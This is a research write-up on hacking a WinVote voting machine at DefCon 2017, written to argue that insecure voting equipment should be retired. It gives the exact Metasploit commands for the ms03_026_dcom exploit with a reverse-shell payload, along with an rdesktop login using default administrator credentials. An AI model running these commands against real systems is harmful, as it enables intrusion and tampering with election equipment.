Hacking the WinVote Voting Machine at Voting Machine Hacking Village DefCon'17

Carsten Schürmann
DemTech Research Project
IT University of Copenhagen
Denmark
carsten@itu.dk

August 15, 2017

1 Introduction

The WinVote voting machine is famous for being notoriously insecure. The following report

> Virginia Information Technologies Agency, Commonwealth Security and Risk Management, *Security Assessment of WinVote Voting Equipment for Department of Elections*, April 14th, 2015

describes extremely weak password security for wireless WEP ("abcde"), the Administrator account ("admin"), and the Microsoft Access database ("shoup") of the WinVote machine.

In this note, I outline how I hacked the WinVote with this information.

2 Establishing a Connection

To hack the WinVote for real and without touching it, we need to connect wirelessly to the machine. Fortunately, the WinVote advertises its wireless interface in ad-hoc mode, which is discoverable by MacOS, the iPhone, or any other wifi enabled device. After selecting the device from my Mac laptop, it prompts me for a password. Let's try "abcde" and success.

Now I am connected, but I do not know the WinVote's IP address. I need a tool to listen to all the wireless traffic, and hope that I can find the IP address of the voting machine.

I boot Kali Linux on my Mac, which I have installed as a virtual machine using Virtual Box.

3 Wireshark

Fortunately, I attended the Kali Dojo at Black Hat the day before, so my Kali distribution was patched to the latest version. Kali comes preloaded with 100s of useful hacking tools. The one that I needed to use in this situation is *wireshark*, which listens and records all traffic, and there it was, first line: There is a machine with IP address `100.100.7.151`.

Next, I adjust my own network on my MAC to be at least in the same network as the WinVote, In particular, I specify my MAC's IP address to be `100.100.7.9` and my subnet mask to `255.255.255.0`. Similarly, I assign Kali the IP address `100.100.7.10` and the same subset mask. Now, Kali insists that I also configure the router addresss. OK, fine, I set it to `100.100.7.1`. Let's go on.

From Kali, I try to ping myself using `ping 100.100.7.10`. It works. Then I ping the host computer, my Mac, using `ping 100.100.7.9` and it works again. Then I ping the voting machine (from across the room) `ping 100.100.7.151`, and sends information back. Yes. That's it. I have contact to the WinVote without even having touched it.

Pinging a machine is not the same as having access to it.

4 Armitage

I use Armitage add the WinVote manually to the list known host, and scan the voting machine. The result is a list of open ports.

135	(port is used by by Microsoft Windows RPC)
139	(netbios-ssn used for Samba)
445	(microsoft-ds)
3389	tcpwrapped
6000/tcp	(X11?)
16001/tcp	(fmsascon?)

Next, I ask Armitage to find the attacks. The first possible attack listed in the attack drop down pull menu is ms03_026_dcom. Let' go with that.

5 Metasploit

The ms03_026_dcom vulnerability is well known since 2003. It is also known as the CVE-2003-0352 vulnerability. Using a buffer overflow in a certain DCOM interface for RPC in Microsoft Windows NT 4.0, 2000, XP, and Server 2003, a remote attacker can execute arbitrary code via a malformed message, as exploited by the Blaster/MSblast/LovSAN and Nachi/Welchia worms.[1]

To launch this attack, I used metasploit console (instead of Armitage). Metasploit comes with a database of all known exploits of a platform to date,

[1] See `http://www.cvedetails.com/cve/cve-2003-0352` for details.

and launching an attack was as easy as select, configure, exploit. The CVE-2003-0352 can be found in metasploit under the name ms03_026_dcom. To start the tool type `msfconsole` at any Kali terminal. Then select the exploit

```
use exploit/windows/dcerpc/ms03_026_dcom
```

configure it, by specifying the IP address of the target (remote host) machine (RHOST) and the the IP address of my Kali machine:

```
set RHOST 100.100.7.151
set LHOST 100.100.7.9
```

Furthermore I need to specify the payload, which is the program that is going to be installed on the target to give the ability to look through files. Metaspoit has a few payloads reinstalled, and I choose

```
set PAYLOAD generic/shell_reverse_tcp
```

but for making this a practical attack, we might have to write our own payload, that tempers with the vote databases, fully automatically. I haven't done it though. To get into the voting machine, all I have to do is to enter the command

```
exploit
```

and I am in. I get a Windows prompt `C:\>` and can navigate the files on the WinVote voting machine. It is clear that with a little bit of more time I can write the payload that fakes the vote totals, or causes some other kind of havoc on the voting machine. I am stopping here. Let the others play.

6 Remote Desktop Attack

This attack has already been described in the aforementioned report. To mirror the screen of the WinVote on my laptop (note that I still haven't touched the WinVote voting machine, I simply type):

```
rdesktop 100.100.7.151 -u Administrator -p admin -f
```

Now I have Administrator rights, and I could make changes to the filesystem. On my laptop screen I see whatever is displayed on the WinVote, including the "Turn the machine off" button. And indeed clicking it, turns the machine off, much to the surprise of the people standing around, thinking about other ways to attack it :-).

7 Analysis

The moral of the story is that the WinVote can be hacked wirelessly. It could be hacked, for example, from a car outside the polling station (but still within range of the wireless signal) and as far as 150 – 300 ft away. The election

officials will never even see the attacker, and they have no way of knowing that the machine has been hacked. The results that are printed from the machine when the polls close can be precisely the results the attacker has planted on the machine.

How many machines in one polling station could one attack? One after the other. But why stop here. A true attacker can cover a lot of ground driving from polling station to polling station in the afternoon of Election Day. With all these security problems, the WinVote was used in numerous elections, including three presidential elections in 2004, 2008, 2012, in the State of Virginia. The machines were exploitable from 2003 onwards.

8 Conclusion

Something has to happen before the 2018 and 2020 elections. Old voting technology that does not produce ballots should be examined and retired. Ballots must be secured and audited.

9 Acknowledgement

This work was funded in part through the Danish Council for Strategic Research, Programme Comission on Strategic Growth Technologies under grant 10-092309. The statements made herein are solely the responsibility of the author.